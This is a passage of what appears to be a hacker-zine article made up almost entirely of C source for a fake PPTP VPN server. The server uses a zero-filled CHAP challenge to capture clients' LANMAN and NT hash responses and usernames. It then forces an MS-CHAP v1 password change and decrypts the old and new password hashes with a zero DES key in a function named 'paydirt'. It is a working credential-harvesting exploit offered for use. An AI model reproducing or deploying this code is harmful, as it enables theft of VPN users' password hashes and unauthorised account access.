  719. #define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C)
  720. #define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R)
  721. #define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K)
  722. #define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S)
  723. #define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A)
  724.  
  725. struct pptp_gre_header {
  726.   u_int8_t flags;               /* bitfield */
  727.   u_int8_t ver;                 /* should be PPTP_GRE_VER (enhanced GRE) */
  728.   u_int16_t protocol;           /* should be PPTP_GRE_PROTO (ppp-encaps) */
  729.   u_int16_t payload_len;        /* size of ppp payload, not inc. gre header */
  730.   u_int16_t call_id;            /* peer's call_id for this session */
  731.   u_int32_t seq;                /* sequence number.  Present if S==1 */
  732.   u_int32_t ack;                /* seq number of highest packet recieved by */
  733.                                 /*  sender in this session */
  734. };
  735.  
  736. #define PACKET_MAX 8196
  737.  
  738. static u_int32_t ack_sent, ack_recv;
  739. static u_int32_t seq_sent, seq_recv;
  740. static u_int16_t pptp_gre_call_id;
  741.  
  742. #define PPP_ADDRESS            0xFF
  743. #define PPP_CONTROL            0x03
  744.  
  745. /* PPP Protocols */
  746. #define PPP_PROTO_LCP            0xc021
  747. #define PPP_PROTO_CHAP            0xc223
  748.  
  749. /* LCP Codes */
  750. #define PPP_LCP_CODE_CONF_RQST        1
  751. #define PPP_LCP_CODE_CONF_ACK        2
  752. #define PPP_LCP_CODE_IDENT        12
  753.  
  754. /* LCP Config Options */
  755. #define PPP_LCP_CONFIG_OPT_AUTH         3
  756. #define PPP_LCP_CONFIG_OPT_MAGIC    5
  757. #define PPP_LCP_CONFIG_OPT_PFC        7
  758. #define PPP_LCP_CONFIG_OPT_ACFC        8
  759.  
  760. /* Auth Algorithms */
  761. #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP    0x80
  762.  
  763. /* CHAP Codes */
  764. #define PPP_CHAP_CODE_CHALLENGE            1
  765. #define PPP_CHAP_CODE_RESPONCE            2
  766. #define PPP_CHAP_CODE_SUCESS            3
  767. #define PPP_CHAP_CODE_FAILURE            4
  768. #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1    5
  769. #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2    6
  770.  
  771. #define PPP_CHAP_CHALLENGE_SIZE        8
  772. #define PPP_CHAP_RESPONCE_SIZE          49
  773.  
  774. #define MSCHAP_ERROR    "E=648 R=0"
  775.  
  776. struct ppp_header {
  777.     u_int8_t address;
  778.     u_int8_t control;
  779.     u_int16_t proto;
  780. };
  781.  
  782. struct ppp_lcp_chap_header {
  783.   u_int8_t code;
  784.   u_int8_t ident;
  785.   u_int16_t length;
  786. };
  787.  
  788. struct ppp_lcp_packet {
  789.   struct ppp_header ppp;
  790.   struct ppp_lcp_chap_header lcp;
  791. };
  792.  
  793. struct ppp_lcp_chap_auth_option {
  794.   u_int8_t type;
  795.   u_int8_t length;
  796.   u_int16_t auth_proto;
  797.   u_int8_t algorithm;
  798. };
  799.  
  800. struct ppp_lcp_magic_option {
  801.   u_int8_t type;
  802.   u_int8_t length;
  803.   u_int32_t magic;
  804. };
  805.  
  806. struct ppp_lcp_pfc_option {
  807.   u_int8_t type;
  808.   u_int8_t length;
  809. };
  810.  
  811. struct ppp_lcp_acfc_option {
  812.   u_int8_t type;
  813.   u_int8_t length;
  814. };
  815.   
  816.  
  817. struct ppp_chap_challenge {
  818.   u_int8_t size;
  819.   union {
  820.     unsigned char challenge[8];
  821.     struct {
  822.       unsigned char lanman[24];
  823.       unsigned char nt[24];
  824.       u_int8_t flag;
  825.     } responce;
  826.   } value;
  827.   /* name */
  828. };
  829.  
  830. struct ppp_mschap_change_password {
  831.   char old_lanman[16];
  832.   char new_lanman[16];
  833.   char old_nt[16];
  834.   char new_nt[16];
  835.   u_int16_t pass_length;
  836.   u_int16_t flags;
  837. };
  838.  
  839. #define ppp_chap_responce    ppp_chap_challenge
  840.  
  841. void net_init();
  842. void getjiggywithit();
  843. void handleit(struct sockaddr_in *);
  844. void send_start_ctrl_conn_rply();
  845. void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *);
  846. int decaps_gre (int (*cb)(void *pack, unsigned len));
  847. int encaps_gre (void *pack, unsigned len);
  848. int do_ppp(void *pack, unsigned len);
  849. void do_gre(struct sockaddr_in *);
  850. void send_lcp_conf_rply(void *);
  851. void send_lcp_conf_rqst();
  852. void send_chap_challenge();
  853. void send_chap_failure();
  854. void print_challenge_responce(void *);
  855. void paydirt(void *);
  856.  
  857.  
  858. char *n;
  859. int sd, rsd, pid;
  860.  
  861. void main(int argc, char **argv)
  862. {
  863.   n = argv[0];
  864.   net_init();
  865.   getjiggywithit();
  866. }
  867.  
  868. void net_init()
  869. {
  870.   int yes = 1;
  871.   struct sockaddr_in sa;
  872.  
  873.   if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); }
  874.   if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0)
  875.   {
  876.     perror(n);
  877.     exit(1);
  878.   }
  879.  
  880.   bzero((char *) &sa, sizeof(sa));
  881.   sa.sin_family      = AF_INET;
  882.   sa.sin_port        = htons(PPTP_PORT);
  883.   sa.sin_addr.s_addr = htonl(INADDR_ANY);
  884.  
  885.   if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); }
  886.  
  887.   if (listen(sd, 5) < 0) { perror(n); exit(1); }
  888. }
  889.  
  890. void getjiggywithit()
  891. {
  892.   struct sockaddr_in sa;
  893.   int sucker, size;
  894.   size = sizeof(sa);
  895.  
  896.  
  897.  
  898.   if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1)
  899.   {
  900.     perror(n);
  901.     exit(1);
  902.   }
  903.   close(sd);
  904.   sd = sucker;
  905.   handleit(&sa);
  906.   exit(0);
  907. }
  908.  
  909. void handleit(struct sockaddr_in *sa)
  910. {
  911.   union {
  912.     struct pptp_header h;
  913.     unsigned char buffer[8196];
  914.   } p;
  915.   int hlen, len, type;
  916.  
  917.   hlen = sizeof(struct pptp_header);
  918.  
  919.   for(;;)
  920.   {
  921.     len = read(sd, p.buffer, hlen);
  922.     if (len == -1) { perror(n); exit(1); }
  923.     if (len != hlen) { printf("Short read.\n"); exit(1); }
  924.  
  925.     len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen);
  926.     if (len == -1) { perror(n); exit(1); }
  927.     if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);}
  928.  
  929.     if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); }
  930.     if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);}
  931.  
  932.     type = ntoh16(p.h.ctrl_type);
  933.     switch(type)
  934.     {
  935.       /* we got a live one */
  936.       case PPTP_START_CTRL_CONN_RQST: 
  937.         send_start_ctrl_conn_rply();
  938.         break;
  939.       case PPTP_OUT_CALL_RQST:
  940.         send_out_call_rply((struct pptp_out_call_rqst *)&p, sa);
  941.         break;
  942.       case PPTP_SET_LINK_INFO:
  943.         printf("<- PPTP Set Link Info\n");
  944.         break;
  945.       default:
  946.         printf("<- PPTP unknown packet: %d\n", type);
  947.     }
  948.   }
  949. }
  950.  
  951. void send_start_ctrl_conn_rply()
  952. {
  953.   struct pptp_start_ctrl_conn p;
  954.   int len, hlen;
  955.  
  956.   hlen  = sizeof(struct pptp_start_ctrl_conn);
  957.  
  958.   printf("<- PPTP Start Control Connection Request\n");
  959.   printf("-> PPTP Start Control Connection Reply\n");
  960.  
  961.   bzero((char *)&p, hlen);
  962.   p.header.length    = hton16(hlen);
  963.   p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
  964.   p.header.magic     = hton32(PPTP_MAGIC);
  965.   p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY);
  966.   p.version          = hton16(PPTP_VERSION);
  967.   p.result_code      = 1;
  968.   p.framing_cap      = hton32(PPTP_FRAME_ASYNC);   /* whatever */
  969.   p.bearer_cap       = hton32(PPTP_BEARER_ANALOG); /* ditto    */
  970.   bcopy("owned", p.hostname, 5); 
  971.   bcopy("r00t", p.vendor, 4);
  972.  
  973.   len = write(sd, &p, hlen);
  974.   if (len == -1) { perror(n); exit(1); }
  975.   if (len != hlen) { printf("Short write.\n"); exit(1); }
  976. }
  977.  
  978. static gre = 0;
  979.  
  980. void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa)
  981. {
  982.   struct pptp_out_call_rply p;
  983.   int len, hlen;
  984.  
  985.   hlen = sizeof(struct pptp_out_call_rply);
  986.  
  987.   printf("<- PPTP Outgoing Call Request\n");
  988.   printf("-> PPTP Outgoing Call Reply\n");
  989.  
  990.   pptp_gre_call_id = r->call_id;
  991.  
  992.   /* Start a process to handle the GRE/PPP packets */
  993.   if (!gre) 
  994.   {
  995.     gre = 1;
  996.     switch((pid = fork()))
  997.     {
  998.       case -1:
  999.         perror(n);
  1000.         exit(1);
  1001.  
  1002.       case 0:
  1003.         close(sd);
  1004.         do_gre(sa);
  1005.         exit(1);        /* not reached */
  1006.     }
  1007.   }
  1008.  
  1009.   bzero((char *)&p, hlen);
  1010.   p.header.length    = hton16(hlen);
  1011.   p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
  1012.   p.header.magic     = hton32(PPTP_MAGIC);
  1013.   p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY);
  1014.   p.call_id          = hton16(31337);
  1015.   p.call_id_peer     = r->call_id;
  1016.   p.result_code      = 1;
  1017.   p.speed            = hton32(28800);
  1018.   p.recv_size        = hton16(5);   /* whatever */
  1019.   p.delay            = hton16(50);  /* whatever */
  1020.   p.channel          = hton32(31337);
  1021.  
  1022.   len = write(sd, &p, hlen);
  1023.   if (len == -1) { perror(n); exit(1); }
  1024.   if (len != hlen) { printf("Short write.\n"); exit(1); }
  1025.  
  1026. }
  1027.  
  1028. struct sockaddr_in src_addr;
  1029.  
  1030. void do_gre(struct sockaddr_in *sa)
  1031. {
  1032. #ifndef BROKEN_RAW_CONNECT
  1033.   struct sockaddr_in src_addr;
  1034. #endif
  1035.   int s, n, stat;
  1036.  
  1037.   /* Open IP protocol socket */
  1038.   rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
  1039.   if (rsd<0) { perror("gre"); exit(1); }
  1040.   src_addr.sin_family = AF_INET;
  1041.   src_addr.sin_addr   = sa->sin_addr;
  1042.   src_addr.sin_port   = 0;
  1043.  
  1044. #ifndef BROKEN_RAW_CONNECT
  1045.   if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) {
  1046.     perror("gre"); exit(1);
  1047.   }
  1048. #endif
  1049.  
  1050.   ack_sent = ack_recv = seq_sent = seq_recv = 0;
  1051.   stat=0;
  1052.  
  1053.   /* Dispatch loop */
  1054.   while (stat>=0) { /* until error happens on s */
  1055.     struct timeval tv = {0, 0}; /* non-blocking select */
  1056.     fd_set rfds;
  1057.     int retval;
  1058.  
  1059.     n = rsd + 1;
  1060.     FD_ZERO(&rfds);
  1061.     FD_SET(rsd, &rfds);
  1062.  
  1063.     /* if there is a pending ACK, do non-blocking select */
  1064.     if (ack_sent!=seq_recv)
  1065.       retval = select(n, &rfds, NULL, NULL, &tv);
  1066.     else /* otherwise, block until data is available */
  1067.       retval = select(n, &rfds, NULL, NULL, NULL);
  1068.     if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */
  1069.       encaps_gre(NULL, 0); /* send ack with no payload */
  1070.     if (FD_ISSET(rsd,  &rfds)) /* data waiting on socket */
  1071.       stat=decaps_gre(do_ppp);
  1072.   }
  1073.  
  1074.   /* Close up when done. */
  1075.   close(rsd); 
  1076. }
  1077.  
  1078. int decaps_gre (int (*cb)(void *pack, unsigned len)) {
  1079.   unsigned char buffer[PACKET_MAX+64/*ip header*/];
  1080.   struct pptp_gre_header *header;
  1081.   int status, ip_len=0;
  1082.  
  1083.   if((status=read(rsd, buffer, sizeof(buffer)))<0) 
  1084.     {perror("gre"); exit(1); }
  1085.   /* strip off IP header, if present */
  1086.   if ((buffer[0]&0xF0)==0x40) 
  1087.     ip_len = (buffer[0]&0xF)*4;
  1088.   header = (struct pptp_gre_header *)(buffer+ip_len);
  1089.  
  1090.   /* verify packet (else discard) */
  1091.   if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1   */
  1092.       (ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */
  1093.       PPTP_GRE_IS_C(ntoh8(header->flags)) ||    /* flag C should be clear   */
  1094.       PPTP_GRE_IS_R(ntoh8(header->flags)) ||    /* flag R should be clear   */
  1095.       (!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set     */
  1096.       ((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0  */
  1097.     /* if invalid, discard this packet */
  1098.     printf("Discarding GRE: %X %X %X %X %X %X", 
  1099.          ntoh8(header->ver)&0x7F, ntoh16(header->protocol), 
  1100.          PPTP_GRE_IS_C(ntoh8(header->flags)),
  1101.          PPTP_GRE_IS_R(ntoh8(header->flags)), 
  1102.          PPTP_GRE_IS_K(ntoh8(header->flags)),
  1103.          ntoh8(header->flags)&0xF);
  1104.     return 0;
  1105.   }
  1106.   if (PPTP_GRE_IS_A(ntoh8(header->ver))) { /* acknowledgement present */
  1107.     u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))?
  1108.       header->ack:header->seq; /* ack in different place if S=0 */
  1109.     if (ack > ack_recv) ack_recv = ack;
  1110.     /* also handle sequence number wrap-around (we're cool!) */
  1111.     if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack;
  1112.   }
  1113.   if (PPTP_GRE_IS_S(ntoh8(header->flags))) { /* payload present */
  1114.     unsigned headersize = sizeof(*header);
  1115.     unsigned payload_len= ntoh16(header->payload_len);
  1116.     u_int32_t seq       = ntoh32(header->seq);
  1117.     if (!PPTP_GRE_IS_A(ntoh8(header->ver))) headersize-=sizeof(header->ack);
  1118.     /* check for incomplete packet (length smaller than expected) */
  1119.     if (status-headersize<payload_len) {
  1120.       printf("incomplete packet\n");
  1121.       return 0; 
  1122.     }
  1123.     /* check for out-of-order sequence number */
  1124.     /* (handle sequence number wrap-around, cuz we're cool) */
  1125.     if ((seq > seq_recv) || 
  1126.         (((seq>>31)==0) && (seq_recv>>31)==1)) {
  1127.       seq_recv = seq;
  1128.  
  1129.       return cb(buffer+ip_len+headersize, payload_len);
  1130.     } else {
  1131.       printf("discarding out-of-order\n"); 
  1132.       return 0; /* discard out-of-order packets */
  1133.     }
  1134.   }
  1135.   return 0; /* ack, but no payload */
  1136. }
  1137.  
  1138. int encaps_gre (void *pack, unsigned len) {
  1139.   union {
  1140.     struct pptp_gre_header header;
  1141.     unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)];
  1142.   } u;
  1143.   static u_int32_t seq=0;
  1144.   unsigned header_len;
  1145.   int out;
  1146.  
  1147.   /* package this up in a GRE shell. */
  1148.   u.header.flags        = hton8 (PPTP_GRE_FLAG_K);
  1149.   u.header.ver          = hton8 (PPTP_GRE_VER);
  1150.   u.header.protocol     = hton16(PPTP_GRE_PROTO);
  1151.   u.header.payload_len  = hton16(len);
  1152.   u.header.call_id      = hton16(pptp_gre_call_id);
  1153.   
  1154.   /* special case ACK with no payload */
  1155.   if (pack==NULL) 
  1156.     if (ack_sent != seq_recv) {
  1157.       u.header.ver |= hton8(PPTP_GRE_FLAG_A);
  1158.       u.header.payload_len = hton16(0);
  1159.       u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */
  1160.       ack_sent = seq_recv;
  1161. #ifndef BROKEN_RAW_CONNCET
  1162.       return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq));
  1163. #else
  1164.       return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0,
  1165.             (struct sockaddr *) &src_addr, sizeof(src_addr));
  1166. #endif
  1167.     } else return 0; /* we don't need to send ACK */
  1168.   /* send packet with payload */
  1169.   u.header.flags |= hton8(PPTP_GRE_FLAG_S);
  1170.   u.header.seq    = hton32(seq);
  1171.   if (ack_sent != seq_recv) { /* send ack with this message */
  1172.     u.header.ver |= hton8(PPTP_GRE_FLAG_A);
  1173.     u.header.ack  = hton32(seq_recv);
  1174.     ack_sent = seq_recv;
  1175.     header_len = sizeof(u.header);
  1176.   } else { /* don't send ack */
  1177.     header_len = sizeof(u.header) - sizeof(u.header.ack);
  1178.   }
  1179.   if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */
  1180.   /* copy payload into buffer */
  1181.   memcpy(u.buffer+header_len, pack, len);
  1182.   /* record and increment sequence numbers */
  1183.   seq_sent = seq; seq++;
  1184.   /* write this baby out to the net */
  1185. #ifndef BROKEN_RAW_CONNECT
  1186.   return write(rsd, u.buffer, header_len+len);
  1187. #else
  1188.   return sendto(rsd, &u.buffer, header_len+len, 0,
  1189.         (struct sockaddr *) &src_addr, sizeof(src_addr));
  1190. #endif
  1191. }
  1192.  
  1193.  
  1194. int do_ppp(void *pack, unsigned len)
  1195. {
  1196.   struct {
  1197.     struct ppp_header ppp;
  1198.     struct ppp_lcp_chap_header header;
  1199.   } *p;
  1200.  
  1201.   p = pack;
  1202.  
  1203.   switch(ntoh16(p->ppp.proto))
  1204.   {
  1205.     case PPP_PROTO_LCP:
  1206.       switch(ntoh8(p->header.code))
  1207.       {
  1208.         case  PPP_LCP_CODE_CONF_RQST:
  1209.           printf("<- LCP Configure Request\n");
  1210.           send_lcp_conf_rply(pack);
  1211.           send_lcp_conf_rqst();
  1212.           break;
  1213.         case  PPP_LCP_CODE_CONF_ACK:
  1214.           printf("<- LCP Configure Ack\n");
  1215.           send_chap_challenge(pack);
  1216.  
  1217.           break;
  1218.         case PPP_LCP_CODE_IDENT:
  1219.           /* ignore */
  1220.           break;
  1221.         default:
  1222.           printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code, 
  1223.             p->header.ident, ntoh16(p->header.length));
  1224.       }
  1225.       break;
  1226.     case PPP_PROTO_CHAP:
  1227.       switch(ntoh8(p->header.code))
  1228.       {
  1229.         case PPP_CHAP_CODE_RESPONCE:
  1230.           printf("<- CHAP Responce\n");
  1231.           print_challenge_responce(pack);
  1232.           send_chap_failure();
  1233.           break;
  1234.         case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
  1235.           paydirt(pack);
  1236.           break;
  1237.         default:
  1238.           printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code, 
  1239.             p->header.ident, ntoh16(p->header.length));
  1240.       }
  1241.       break;
  1242.     default:
  1243.       printf("<- PPP unknwon  packet: %X\n", ntoh16(p->ppp.proto)); 
  1244.   }
  1245.  
  1246.   return(1);
  1247. }
  1248.  
  1249. void send_lcp_conf_rply(void *pack)
  1250. {
  1251.   struct {
  1252.     struct ppp_header ppp;
  1253.     struct ppp_lcp_chap_header lcp;
  1254.   } *p = pack;
  1255.  
  1256.   printf("-> LCP Configure Ack\n");
  1257.  
  1258.   p->lcp.code = hton8(PPP_LCP_CODE_CONF_ACK);
  1259.   encaps_gre(p, ntoh16(p->lcp.length) + sizeof(struct ppp_header));
  1260. }
  1261.  
  1262. void send_lcp_conf_rqst()
  1263. {
  1264.   struct {
  1265.     struct ppp_header ppp;
  1266.     struct ppp_lcp_chap_header lcp;
  1267.     struct ppp_lcp_chap_auth_option auth;
  1268.   } pkt;
  1269.  
  1270.   printf("-> LCP Configure Request\n");
  1271.  
  1272.   bzero(&pkt, sizeof(pkt));
  1273.   pkt.ppp.address     = hton8(PPP_ADDRESS);
  1274.   pkt.ppp.control     = hton8(PPP_CONTROL);
  1275.   pkt.ppp.proto       = hton16(PPP_PROTO_LCP);
  1276.   pkt.lcp.code        = hton8(PPP_LCP_CODE_CONF_RQST);
  1277.   pkt.lcp.ident       = hton8(9);
  1278.   pkt.lcp.length      = hton16(4 +5);
  1279.   pkt.auth.type       = hton8(PPP_LCP_CONFIG_OPT_AUTH);
  1280.   pkt.auth.length     = hton8(5);
  1281.   pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
  1282.   pkt.auth.algorithm  = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
  1283.  
  1284.   encaps_gre(&pkt, 13);
  1285. }
  1286.  
  1287. void send_chap_challenge()
  1288. {
  1289.   struct {
  1290.     struct ppp_header ppp;
  1291.     struct ppp_lcp_chap_header chap;
  1292.     struct ppp_chap_challenge challenge;
  1293.   } pkt;
  1294.  
  1295.   printf("-> CHAP Challenge\n");
  1296.  
  1297.   bzero(&pkt, sizeof(pkt));
  1298.   pkt.ppp.address    = hton8(PPP_ADDRESS);
  1299.   pkt.ppp.control    = hton8(PPP_CONTROL);
  1300.   pkt.ppp.proto      = hton16(PPP_PROTO_CHAP);
  1301.   pkt.chap.code      = hton8(PPP_CHAP_CODE_CHALLENGE);
  1302.   pkt.chap.length    = hton16(13);
  1303.   pkt.challenge.size = hton8(8);
  1304.  
  1305.   encaps_gre(&pkt,  4 + 13);
  1306. }
  1307.  
  1308. void print_challenge_responce(void *pack)
  1309. {
  1310.   unsigned char name[512], *c;
  1311.   int len;
  1312.   struct {
  1313.     struct ppp_header ppp;
  1314.     struct ppp_lcp_chap_header chap;
  1315.     struct ppp_chap_challenge responce;
  1316.   } *p;
  1317.  
  1318.   p = pack;
  1319.  
  1320.   c = p->responce.value.responce.lanman;
  1321.   printf("   LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1322.   c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  1323.   c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  1324.   c[22], c[23]);
  1325.   c = p->responce.value.responce.nt;
  1326.   printf("   NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1327.   c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  1328.   c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  1329.   c[22], c[23]);
  1330.   printf("   Use NT hash: %d\n", p->responce.value.responce.flag);
  1331.  
  1332.  
  1333.   bzero(name, 512);
  1334.   len = ntoh16(p->chap.length) - 54;
  1335.   bcopy(((char *)p) + 4 + 54, name, len);
  1336.   name[len] = '\0';
  1337.   printf("   User: %s\n", name);
  1338. }
  1339.  
  1340. void send_chap_failure()
  1341. {
  1342.   struct {
  1343.     struct ppp_header ppp;
  1344.     struct ppp_lcp_chap_header chap;
  1345.     char message[64];
  1346.   } pkt;
  1347.  
  1348.   printf("-> CHAP Failure\n");
  1349.  
  1350.   bzero(&pkt, sizeof(pkt));
  1351.   pkt.ppp.address = hton8(PPP_ADDRESS);
  1352.   pkt.ppp.control = hton8(PPP_CONTROL);
  1353.   pkt.ppp.proto   = hton16(PPP_PROTO_CHAP);
  1354.   pkt.chap.code   = hton8(PPP_CHAP_CODE_FAILURE);
  1355.   pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR));
  1356.   strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));
  1357.  
  1358.   encaps_gre(&pkt,  4 + 4 + strlen(MSCHAP_ERROR));
  1359. }
  1360.  
  1361. extern int des_check_key;
  1362.  
  1363. void paydirt(void *pack)
  1364. {
  1365.   unsigned char out[8], out2[8], key[8];
  1366.   struct {
  1367.     struct ppp_header ppp;
  1368.     struct ppp_lcp_chap_header chap;
  1369.     struct ppp_mschap_change_password passwds;
  1370.   } *pkt;
  1371.   des_key_schedule ks;
  1372.  
  1373.   pkt =  pack;
  1374.   bzero(key, 8);
  1375.  
  1376.   printf("<- MSCHAP Change Password Version 1 Packet.\n");
  1377.  
  1378.   /* Turn off checking for weak keys within libdes */
  1379.   des_check_key=0;
  1380.   des_set_odd_parity((des_cblock *)key);
  1381.   des_set_key((des_cblock *)key, ks);
  1382.  
  1383.   des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,(des_cblock *) out, ks, 0);
  1384.   des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), (des_cblock *)out2, ks, 0);
  1385.   printf("   Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1386.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  1387.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  1388.  
  1389.   des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,(des_cblock *) out, ks, 0);
  1390.   des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), (des_cblock *)out2, ks, 0);
  1391.   printf("   New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1392.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  1393.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  1394.  
  1395.   des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,(des_cblock *) out, ks, 0);
  1396.   des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), (des_cblock *)out2, ks, 0);
  1397.   printf("   Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1398.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  1399.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  1400.  
  1401.   des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,(des_cblock *) out, ks, 0);
  1402.   des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), (des_cblock *)out2, ks, 0);
  1403.   printf("   New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  1404.   out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
  1405.   out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
  1406.  
  1407.   printf("   New Password Length: %d\n", ntoh16(pkt->passwds.pass_length));
  1408.  
  1409.   kill(pid, SIGTERM);
  1410.   exit(0);
  1411. }
  1412. <-->
  1413.  
  1414.  
  1415. ----[  EOF
  1416.  
  1417.